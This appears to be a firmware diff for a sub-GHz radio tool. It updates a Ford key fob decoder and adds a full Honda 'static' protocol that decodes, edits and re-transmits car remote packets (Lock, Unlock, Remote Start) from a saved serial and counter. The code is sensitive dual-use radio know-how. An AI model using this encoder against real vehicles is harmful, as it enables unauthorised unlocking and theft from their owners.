|
||||
if(instance->bit_count >= FORD_V3_DATA_BITS) {
|
||||
ford_v3_emit_if_ready(instance);
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
ford_v3_cell_feed(instance, level, duration);
|
||||
ford_v3_manchester_feed(instance, level, duration);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_ford_v3_get_hash_data(void* context) {
|
||||
@@ -222,14 +408,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v3_serialize(
|
||||
|
||||
SubGhzProtocolDecoderFordV3* instance = context;
|
||||
|
||||
instance->generic.data = ((uint64_t)instance->raw_bytes[0] << 56) |
|
||||
((uint64_t)instance->raw_bytes[1] << 48) |
|
||||
((uint64_t)instance->raw_bytes[2] << 40) |
|
||||
((uint64_t)instance->raw_bytes[3] << 32) |
|
||||
((uint64_t)instance->raw_bytes[4] << 24) |
|
||||
((uint64_t)instance->raw_bytes[5] << 16) |
|
||||
((uint64_t)instance->raw_bytes[6] << 8) |
|
||||
(uint64_t)instance->raw_bytes[7];
|
||||
instance->generic.data =
|
||||
((uint64_t)instance->raw_bytes[0] << 56) | ((uint64_t)instance->raw_bytes[1] << 48) |
|
||||
((uint64_t)instance->raw_bytes[2] << 40) | ((uint64_t)instance->raw_bytes[3] << 32) |
|
||||
((uint64_t)instance->raw_bytes[4] << 24) | ((uint64_t)instance->raw_bytes[5] << 16) |
|
||||
((uint64_t)instance->raw_bytes[6] << 8) | (uint64_t)instance->raw_bytes[7];
|
||||
instance->generic.data_count_bit = FORD_V3_DATA_BITS;
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
@@ -240,9 +423,18 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v3_serialize(
|
||||
flipper_format_insert_or_update_hex(
|
||||
flipper_format, "Raw", instance->raw_bytes, FORD_V3_DATA_BYTES);
|
||||
|
||||
do { uint32_t _pp_v = (uint32_t)(instance->generic.serial); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Serial", &_pp_v, 1); } while(0);
|
||||
do { uint32_t _pp_v = (uint32_t)(instance->generic.btn); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Btn", &_pp_v, 1); } while(0);
|
||||
do { uint32_t _pp_v = (uint32_t)(instance->counter); flipper_format_rewind(flipper_format); flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &_pp_v, 1); } while(0);
|
||||
uint32_t serial_u32 = instance->generic.serial;
|
||||
flipper_format_insert_or_update_uint32(
|
||||
flipper_format, "Serial", &serial_u32, 1);
|
||||
uint32_t btn_u32 = instance->generic.btn;
|
||||
flipper_format_insert_or_update_uint32(
|
||||
flipper_format, "Btn", &btn_u32, 1);
|
||||
uint32_t cnt_u32 = instance->counter;
|
||||
flipper_format_insert_or_update_uint32(
|
||||
flipper_format, "Cnt", &cnt_u32, 1);
|
||||
uint32_t var_u32 = instance->variant;
|
||||
flipper_format_insert_or_update_uint32(
|
||||
flipper_format, FORD_V3_FF_VARIANT, &var_u32, 1);
|
||||
}
|
||||
|
||||
return ret;
|
||||
@@ -255,9 +447,7 @@ SubGhzProtocolStatus
|
||||
SubGhzProtocolDecoderFordV3* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_ford_v3_const.min_count_bit_for_found);
|
||||
&instance->generic, flipper_format, subghz_protocol_ford_v3_const.min_count_bit_for_found);
|
||||
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
@@ -272,7 +462,13 @@ SubGhzProtocolStatus
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_hex(flipper_format, "Raw", instance->raw_bytes, FORD_V3_DATA_BYTES);
|
||||
|
||||
instance->bit_count = FORD_V3_DATA_BITS;
|
||||
uint32_t variant = UINT32_MAX;
|
||||
if(!flipper_format_read_uint32(flipper_format, FORD_V3_FF_VARIANT, &variant, 1)) {
|
||||
variant = UINT32_MAX;
|
||||
}
|
||||
instance->variant = ford_v3_variant_from_saved_or_raw(instance->raw_bytes, variant);
|
||||
|
||||
instance->manchester_bit_count = FORD_V3_DATA_BITS;
|
||||
ford_v3_parse_fields(instance);
|
||||
|
||||
return ret;
|
||||
@@ -284,6 +480,39 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
|
||||
SubGhzProtocolDecoderFordV3* instance = context;
|
||||
const uint8_t* k = instance->raw_bytes;
|
||||
|
||||
if(instance->variant == FORD_V3_VARIANT_US) {
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s US %dbit\r\n"
|
||||
"Key:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\r\n"
|
||||
"Sn:%08lX Btn:%02X %s\r\n"
|
||||
"Cnt:%04X Hop:%02X%02X%02X%02X\r\n",
|
||||
instance->generic.protocol_name,
|
||||
(int)instance->generic.data_count_bit,
|
||||
k[0],
|
||||
k[1],
|
||||
k[2],
|
||||
k[3],
|
||||
k[4],
|
||||
k[5],
|
||||
k[6],
|
||||
k[7],
|
||||
k[8],
|
||||
k[9],
|
||||
k[10],
|
||||
k[11],
|
||||
k[12],
|
||||
(unsigned long)instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
ford_v3_button_name(instance->generic.btn, FORD_V3_VARIANT_US),
|
||||
(unsigned)instance->counter,
|
||||
k[9],
|
||||
k[10],
|
||||
k[11],
|
||||
k[12]);
|
||||
return;
|
||||
}
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
@@ -307,7 +536,7 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
|
||||
k[12],
|
||||
(unsigned long)instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
ford_v3_button_name(instance->generic.btn),
|
||||
ford_v3_button_name(instance->generic.btn, FORD_V3_VARIANT_EU),
|
||||
(unsigned)instance->counter,
|
||||
k[9],
|
||||
k[10],
|
||||
@@ -315,14 +544,9 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
|
||||
k[12]);
|
||||
}
|
||||
|
||||
static void subghz_protocol_decoder_ford_v3_free_impl(void* context) {{
|
||||
furi_check(context);
|
||||
free(context);
|
||||
}}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_ford_v3_decoder = {
|
||||
.alloc = subghz_protocol_decoder_ford_v3_alloc,
|
||||
.free = subghz_protocol_decoder_ford_v3_free_impl,
|
||||
.free = subghz_protocol_decoder_ford_v3_free,
|
||||
.feed = subghz_protocol_decoder_ford_v3_feed,
|
||||
.reset = subghz_protocol_decoder_ford_v3_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_ford_v3_get_hash_data,
|
||||
@@ -342,8 +566,9 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v3_encoder = {
|
||||
const SubGhzProtocol ford_protocol_v3 = {
|
||||
.name = FORD_PROTOCOL_V3_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
|
||||
SubGhzProtocolFlag_Save,
|
||||
.decoder = &subghz_protocol_ford_v3_decoder,
|
||||
.encoder = &subghz_protocol_ford_v3_encoder,
|
||||
};
|
||||
|
||||
@@ -0,0 +1,724 @@
|
||||
#include "honda_static.h"
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include <string.h>
|
||||
#include <lib/toolbox/level_duration.h>
|
||||
|
||||
#define HONDA_STATIC_BIT_COUNT 64
|
||||
#define HONDA_STATIC_MIN_SYMBOLS 36
|
||||
#define HONDA_STATIC_SHORT_BASE_US 28
|
||||
#define HONDA_STATIC_SHORT_SPAN_US 70
|
||||
#define HONDA_STATIC_LONG_BASE_US 61
|
||||
#define HONDA_STATIC_LONG_SPAN_US 130
|
||||
#define HONDA_STATIC_SYNC_TIME_US 700
|
||||
#define HONDA_STATIC_ELEMENT_TIME_US 63
|
||||
#define HONDA_STATIC_UPLOAD_CAPACITY \
|
||||
(1U + HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT + (2U * HONDA_STATIC_BIT_COUNT) + 1U)
|
||||
#define HONDA_STATIC_SYMBOL_CAPACITY 512
|
||||
#define HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT 160
|
||||
#define HONDA_STATIC_PREAMBLE_MAX_TRANSITIONS 19
|
||||
#define HONDA_STATIC_SYMBOL_BYTE_COUNT ((HONDA_STATIC_SYMBOL_CAPACITY + 7U) / 8U)
|
||||
|
||||
static const uint8_t honda_static_encoder_button_map[4] = {0x02, 0x04, 0x08, 0x05};
|
||||
static const char* const honda_static_button_names[9] = {
|
||||
"Lock",
|
||||
"Unlock",
|
||||
"Unknown",
|
||||
"Trunk",
|
||||
"Remote Start",
|
||||
"Unknown",
|
||||
"Unknown",
|
||||
"Panic",
|
||||
"Lock x2",
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint8_t button;
|
||||
uint32_t serial;
|
||||
uint32_t counter;
|
||||
uint8_t checksum;
|
||||
} HondaStaticFields;
|
||||
|
||||
struct SubGhzProtocolDecoderHondaStatic {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t symbols[HONDA_STATIC_SYMBOL_BYTE_COUNT];
|
||||
uint16_t symbols_count;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderHondaStatic {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
HondaStaticFields decoded;
|
||||
uint8_t tx_button;
|
||||
};
|
||||
|
||||
static void honda_static_decoder_commit(
|
||||
SubGhzProtocolDecoderHondaStatic* instance,
|
||||
const HondaStaticFields* decoded);
|
||||
|
||||
static void honda_static_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
|
||||
for(size_t index = 0; index < 8; index++) {
|
||||
bytes[index] = (data >> ((7U - index) * 8U)) & 0xFFU;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t honda_static_bytes_to_u64_be(const uint8_t bytes[8]) {
|
||||
uint64_t data = 0;
|
||||
for(size_t index = 0; index < 8; index++) {
|
||||
data = (data << 8U) | bytes[index];
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static uint8_t honda_static_reverse_bits8(uint8_t x) {
|
||||
x = (uint8_t)(((x & 0xAAU) >> 1U) | ((x & 0x55U) << 1U));
|
||||
x = (uint8_t)(((x & 0xCCU) >> 2U) | ((x & 0x33U) << 2U));
|
||||
return (uint8_t)((x >> 4U) | (x << 4U));
|
||||
}
|
||||
|
||||
static uint8_t honda_static_get_bits(const uint8_t* data, uint8_t start, uint8_t count) {
|
||||
uint32_t value = 0;
|
||||
for(uint8_t i = 0; i < count; i++) {
|
||||
const uint8_t bit_index = start + i;
|
||||
const uint8_t byte = data[bit_index >> 3U];
|
||||
const uint8_t shift = (uint8_t)(~bit_index) & 0x07U;
|
||||
value = (value << 1U) | ((byte >> shift) & 1U);
|
||||
}
|
||||
return (uint8_t)value;
|
||||
}
|
||||
|
||||
static uint32_t honda_static_get_bits_u32(const uint8_t* data, uint8_t start, uint8_t count) {
|
||||
uint32_t value = 0;
|
||||
for(uint8_t i = 0; i < count; i++) {
|
||||
const uint8_t bit_index = start + i;
|
||||
const uint8_t byte = data[bit_index >> 3U];
|
||||
const uint8_t shift = (uint8_t)(~bit_index) & 0x07U;
|
||||
value = (value << 1U) | ((byte >> shift) & 1U);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static void honda_static_set_bits(uint8_t* data, uint8_t start, uint8_t count, uint32_t value) {
|
||||
for(uint8_t i = 0; i < count; i++) {
|
||||
const uint8_t bit_index = start + i;
|
||||
const uint8_t byte_index = bit_index >> 3U;
|
||||
const uint8_t shift = ((uint8_t)~bit_index) & 0x07U;
|
||||
const uint8_t mask = (uint8_t)(1U << shift);
|
||||
const bool bit = ((value >> (count - 1U - i)) & 1U) != 0U;
|
||||
if(bit) {
|
||||
data[byte_index] |= mask;
|
||||
} else {
|
||||
data[byte_index] &= (uint8_t)~mask;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t honda_static_level_u8(bool level) {
|
||||
return level ? 1U : 0U;
|
||||
}
|
||||
|
||||
static void honda_static_symbol_set(uint8_t* buf, uint16_t index, uint8_t v) {
|
||||
const uint8_t byte_index = (uint8_t)(index >> 3U);
|
||||
const uint8_t shift = (uint8_t)(~index) & 0x07U;
|
||||
const uint8_t mask = (uint8_t)(1U << shift);
|
||||
if(v) {
|
||||
buf[byte_index] |= mask;
|
||||
} else {
|
||||
buf[byte_index] &= (uint8_t)~mask;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t honda_static_symbol_get(const uint8_t* buf, uint16_t index) {
|
||||
const uint8_t byte_index = (uint8_t)(index >> 3U);
|
||||
const uint8_t shift = (uint8_t)(~index) & 0x07U;
|
||||
return (uint8_t)((buf[byte_index] >> shift) & 1U);
|
||||
}
|
||||
|
||||
static bool honda_static_is_valid_button(uint8_t button) {
|
||||
if(button > 9U) return false;
|
||||
return ((0x336U >> button) & 1U) != 0U;
|
||||
}
|
||||
|
||||
static bool honda_static_is_valid_serial(uint32_t serial) {
|
||||
return (serial != 0U) && (serial != 0x0FFFFFFFU);
|
||||
}
|
||||
|
||||
static uint8_t honda_static_encoder_remap_button(uint8_t button) {
|
||||
if(button < 2U) return 1U;
|
||||
button -= 2U;
|
||||
if(button <= 3U) return honda_static_encoder_button_map[button];
|
||||
return 1U;
|
||||
}
|
||||
|
||||
static const char* honda_static_button_name(uint8_t button) {
|
||||
if((button >= 1U) && (button <= COUNT_OF(honda_static_button_names))) {
|
||||
return honda_static_button_names[button - 1U];
|
||||
}
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
static uint8_t honda_static_compact_bytes_checksum(const uint8_t compact[8]) {
|
||||
const uint8_t canonical[7] = {
|
||||
(uint8_t)((compact[0] << 4U) | (compact[1] >> 4U)),
|
||||
(uint8_t)((compact[1] << 4U) | (compact[2] >> 4U)),
|
||||
(uint8_t)((compact[2] << 4U) | (compact[3] >> 4U)),
|
||||
(uint8_t)((compact[3] << 4U) | (compact[4] >> 4U)),
|
||||
compact[5],
|
||||
compact[6],
|
||||
compact[7],
|
||||
};
|
||||
uint8_t checksum = 0U;
|
||||
for(size_t i = 0; i < COUNT_OF(canonical); i++) {
|
||||
checksum ^= canonical[i];
|
||||
}
|
||||
return checksum;
|
||||
}
|
||||
|
||||
static void honda_static_unpack_compact(uint64_t key, HondaStaticFields* fields) {
|
||||
uint8_t compact[8];
|
||||
honda_static_u64_to_bytes_be(key, compact);
|
||||
|
||||
memset(fields, 0, sizeof(*fields));
|
||||
fields->button = compact[0] & 0x0FU;
|
||||
fields->serial = ((uint32_t)compact[1] << 20U) | ((uint32_t)compact[2] << 12U) |
|
||||
((uint32_t)compact[3] << 4U) | ((uint32_t)compact[4] >> 4U);
|
||||
fields->counter = ((uint32_t)compact[5] << 16U) | ((uint32_t)compact[6] << 8U) |
|
||||
(uint32_t)compact[7];
|
||||
fields->checksum = honda_static_compact_bytes_checksum(compact);
|
||||
}
|
||||
|
||||
static uint64_t honda_static_pack_compact(const HondaStaticFields* fields) {
|
||||
uint8_t compact[8];
|
||||
compact[0] = fields->button & 0x0FU;
|
||||
compact[1] = (uint8_t)(fields->serial >> 20U);
|
||||
compact[2] = (uint8_t)(fields->serial >> 12U);
|
||||
compact[3] = (uint8_t)(fields->serial >> 4U);
|
||||
compact[4] = (uint8_t)(fields->serial << 4U);
|
||||
compact[5] = (uint8_t)(fields->counter >> 16U);
|
||||
compact[6] = (uint8_t)(fields->counter >> 8U);
|
||||
compact[7] = (uint8_t)fields->counter;
|
||||
return honda_static_bytes_to_u64_be(compact);
|
||||
}
|
||||
|
||||
static void honda_static_build_packet_bytes(const HondaStaticFields* fields, uint8_t packet[8]) {
|
||||
memset(packet, 0, 8);
|
||||
honda_static_set_bits(packet, 0, 4, fields->button & 0x0FU);
|
||||
honda_static_set_bits(packet, 4, 28, fields->serial);
|
||||
honda_static_set_bits(packet, 32, 24, fields->counter);
|
||||
uint8_t checksum = 0U;
|
||||
for(size_t i = 0; i < 7; i++) {
|
||||
checksum ^= packet[i];
|
||||
}
|
||||
honda_static_set_bits(packet, 56, 8, checksum);
|
||||
}
|
||||
|
||||
static bool honda_static_validate_forward_packet(const uint8_t packet[9], HondaStaticFields* fields) {
|
||||
const uint8_t button = honda_static_get_bits(packet, 0, 4);
|
||||
const uint32_t serial = honda_static_get_bits_u32(packet, 4, 28);
|
||||
const uint32_t counter = honda_static_get_bits_u32(packet, 32, 24);
|
||||
const uint8_t checksum = honda_static_get_bits(packet, 56, 8);
|
||||
|
||||
uint8_t checksum_calc = 0U;
|
||||
for(size_t i = 0; i < 7; i++) {
|
||||
checksum_calc ^= packet[i];
|
||||
}
|
||||
if(checksum != checksum_calc) return false;
|
||||
if(!honda_static_is_valid_button(button)) return false;
|
||||
if(!honda_static_is_valid_serial(serial)) return false;
|
||||
|
||||
fields->button = button;
|
||||
fields->serial = serial;
|
||||
fields->counter = counter;
|
||||
fields->checksum = checksum;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_static_validate_reverse_packet(const uint8_t packet[9], HondaStaticFields* fields) {
|
||||
uint8_t reversed[9];
|
||||
for(size_t i = 0; i < COUNT_OF(reversed); i++) {
|
||||
reversed[i] = honda_static_reverse_bits8(packet[i]);
|
||||
}
|
||||
|
||||
const uint8_t button = honda_static_get_bits(reversed, 0, 4);
|
||||
const uint32_t serial = honda_static_get_bits_u32(reversed, 4, 28);
|
||||
const uint32_t counter = honda_static_get_bits_u32(reversed, 32, 24);
|
||||
|
||||
uint8_t checksum = 0U;
|
||||
for(size_t i = 0; i < 7; i++) {
|
||||
checksum ^= reversed[i];
|
||||
}
|
||||
if(!honda_static_is_valid_button(button)) return false;
|
||||
if(!honda_static_is_valid_serial(serial)) return false;
|
||||
|
||||
fields->button = button;
|
||||
fields->serial = serial;
|
||||
fields->counter = counter;
|
||||
fields->checksum = checksum;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_static_manchester_pack_64(
|
||||
const uint8_t* symbol_bits,
|
||||
uint16_t count,
|
||||
uint16_t start_pos,
|
||||
bool inverted,
|
||||
uint8_t packet[9],
|
||||
uint16_t* out_bit_count) {
|
||||
memset(packet, 0, 9);
|
||||
|
||||
uint16_t pos = start_pos;
|
||||
uint16_t bit_count = 0U;
|
||||
|
||||
while((uint16_t)(pos + 1U) < count) {
|
||||
if(bit_count >= HONDA_STATIC_BIT_COUNT) break;
|
||||
|
||||
const uint8_t a = honda_static_symbol_get(symbol_bits, pos);
|
||||
const uint8_t b = honda_static_symbol_get(symbol_bits, pos + 1U);
|
||||
|
||||
if(a == b) {
|
||||
pos++;
|
||||
continue;
|
||||
}
|
||||
|
||||
bool bit = false;
|
||||
if(inverted) {
|
||||
bit = (a == 0U) && (b == 1U);
|
||||
} else {
|
||||
bit = (a == 1U) && (b == 0U);
|
||||
}
|
||||
|
||||
if(bit) {
|
||||
packet[bit_count >> 3U] |= (uint8_t)(1U << (((uint8_t)~bit_count) & 0x07U));
|
||||
}
|
||||
|
||||
bit_count++;
|
||||
pos += 2U;
|
||||
}
|
||||
|
||||
if(out_bit_count) {
|
||||
*out_bit_count = bit_count;
|
||||
}
|
||||
return bit_count >= HONDA_STATIC_BIT_COUNT;
|
||||
}
|
||||
|
||||
static bool honda_static_parse_symbols(SubGhzProtocolDecoderHondaStatic* instance, bool inverted) {
|
||||
const uint16_t count = instance->symbols_count;
|
||||
const uint8_t* symbol_bits = instance->symbols;
|
||||
HondaStaticFields decoded;
|
||||
|
||||
uint16_t index = 1U;
|
||||
uint16_t transitions = 0U;
|
||||
|
||||
while(index < count) {
|
||||
if(honda_static_symbol_get(symbol_bits, index) !=
|
||||
honda_static_symbol_get(symbol_bits, index - 1U)) {
|
||||
transitions++;
|
||||
} else {
|
||||
if(transitions > HONDA_STATIC_PREAMBLE_MAX_TRANSITIONS) break;
|
||||
transitions = 0U;
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
if(index >= count) return false;
|
||||
|
||||
while(((uint16_t)(index + 1U) < count) && (honda_static_symbol_get(symbol_bits, index) ==
|
||||
honda_static_symbol_get(symbol_bits, index + 1U))) {
|
||||
index++;
|
||||
}
|
||||
|
||||
const uint16_t data_start = index;
|
||||
|
||||
uint8_t packet[9] = {0};
|
||||
uint16_t bit_count = 0U;
|
||||
|
||||
if(!honda_static_manchester_pack_64(
|
||||
symbol_bits, count, data_start, inverted, packet, &bit_count)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(honda_static_validate_forward_packet(packet, &decoded)) {
|
||||
honda_static_decoder_commit(instance, &decoded);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(inverted) return false;
|
||||
|
||||
if(honda_static_validate_reverse_packet(packet, &decoded)) {
|
||||
honda_static_decoder_commit(instance, &decoded);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void honda_static_decoder_commit(
|
||||
SubGhzProtocolDecoderHondaStatic* instance,
|
||||
const HondaStaticFields* decoded) {
|
||||
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
|
||||
instance->generic.data = honda_static_pack_compact(decoded);
|
||||
instance->generic.serial = decoded->serial;
|
||||
instance->generic.cnt = decoded->counter;
|
||||
instance->generic.btn = decoded->button;
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
}
|
||||
|
||||
static void honda_static_build_upload(SubGhzProtocolEncoderHondaStatic* instance) {
|
||||
uint8_t packet[8];
|
||||
honda_static_build_packet_bytes(&instance->decoded, packet);
|
||||
|
||||
size_t index = 0U;
|
||||
LevelDuration* up = instance->encoder.upload;
|
||||
const size_t cap = HONDA_STATIC_UPLOAD_CAPACITY;
|
||||
|
||||
if(index < cap) {
|
||||
up[index++] = level_duration_make(true, HONDA_STATIC_SYNC_TIME_US);
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT; i++) {
|
||||
if(index < cap) {
|
||||
up[index++] = level_duration_make((i & 1U) != 0U, HONDA_STATIC_ELEMENT_TIME_US);
|
||||
}
|
||||
}
|
||||
|
||||
for(uint8_t bit = 0U; bit < HONDA_STATIC_BIT_COUNT; bit++) {
|
||||
const bool value = ((packet[bit >> 3U] >> (((uint8_t)~bit) & 0x07U)) & 1U) != 0U;
|
||||
if(index < cap) {
|
||||
up[index++] = level_duration_make(!value, HONDA_STATIC_ELEMENT_TIME_US);
|
||||
}
|
||||
if(index < cap) {
|
||||
up[index++] = level_duration_make(value, HONDA_STATIC_ELEMENT_TIME_US);
|
||||
}
|
||||
}
|
||||
|
||||
const bool last_bit = (packet[7] & 1U) != 0U;
|
||||
if(index < cap) {
|
||||
up[index++] = level_duration_make(!last_bit, HONDA_STATIC_SYNC_TIME_US);
|
||||
}
|
||||
|
||||
instance->encoder.front = 0U;
|
||||
instance->encoder.size_upload = index;
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder honda_static_decoder = {
|
||||
.alloc = subghz_protocol_decoder_honda_static_alloc,
|
||||
.free = subghz_protocol_decoder_honda_static_free,
|
||||
.feed = subghz_protocol_decoder_honda_static_feed,
|
||||
.reset = subghz_protocol_decoder_honda_static_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_honda_static_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_honda_static_serialize,
|
||||
.deserialize = subghz_protocol_decoder_honda_static_deserialize,
|
||||
.get_string = subghz_protocol_decoder_honda_static_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder honda_static_encoder = {
|
||||
.alloc = subghz_protocol_encoder_honda_static_alloc,
|
||||
.free = subghz_protocol_encoder_honda_static_free,
|
||||
.deserialize = subghz_protocol_encoder_honda_static_deserialize,
|
||||
.stop = subghz_protocol_encoder_honda_static_stop,
|
||||
.yield = subghz_protocol_encoder_honda_static_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol honda_static_protocol = {
|
||||
.name = HONDA_STATIC_PROTOCOL_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 |
|
||||
SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Load |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &honda_static_decoder,
|
||||
.encoder = &honda_static_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_honda_static_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
|
||||
SubGhzProtocolEncoderHondaStatic* instance = malloc(sizeof(SubGhzProtocolEncoderHondaStatic));
|
||||
furi_check(instance);
|
||||
memset(instance, 0, sizeof(*instance));
|
||||
|
||||
instance->base.protocol = &honda_static_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = 3U;
|
||||
instance->encoder.size_upload = HONDA_STATIC_UPLOAD_CAPACITY;
|
||||
instance->encoder.upload = malloc(HONDA_STATIC_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
furi_check(instance->encoder.upload);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_static_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderHondaStatic* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolEncoderHondaStatic* instance = context;
|
||||
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0U;
|
||||
|
||||
FuriString* temp_str = furi_string_alloc();
|
||||
if(!temp_str) return SubGhzProtocolStatusError;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
|
||||
furi_string_free(temp_str);
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
|
||||
furi_string_free(temp_str);
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
furi_string_free(temp_str);
|
||||
|
||||
uint64_t key = 0;
|
||||
uint8_t key_bytes[8] = {0};
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_hex(flipper_format, "Key", key_bytes, 8)) {
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
key = honda_static_bytes_to_u64_be(key_bytes);
|
||||
honda_static_unpack_compact(key, &instance->decoded);
|
||||
|
||||
uint32_t serial = instance->decoded.serial;
|
||||
uint32_t btn_u32 = instance->decoded.button;
|
||||
uint32_t cnt = instance->decoded.counter & 0x00FFFFFFU;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &btn_u32, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1);
|
||||
|
||||
instance->decoded.serial = serial;
|
||||
uint8_t b = (uint8_t)btn_u32;
|
||||
if(honda_static_is_valid_button(b)) {
|
||||
instance->decoded.button = b;
|
||||
} else if(b >= 2U && b <= 5U) {
|
||||
instance->decoded.button = honda_static_encoder_remap_button(b);
|
||||
}
|
||||
instance->decoded.counter = cnt & 0x00FFFFFFU;
|
||||
|
||||
instance->generic.serial = instance->decoded.serial;
|
||||
instance->generic.cnt = instance->decoded.counter;
|
||||
instance->generic.btn = instance->decoded.button;
|
||||
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
|
||||
instance->generic.data = honda_static_pack_compact(&instance->decoded);
|
||||
|
||||
honda_static_u64_to_bytes_be(instance->generic.data, key_bytes);
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat = 3U;
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
|
||||
instance->encoder.repeat = (size_t)repeat;
|
||||
|
||||
honda_static_build_upload(instance);
|
||||
instance->encoder.is_running = true;
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_static_stop(void* context) {
|
||||
SubGhzProtocolEncoderHondaStatic* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
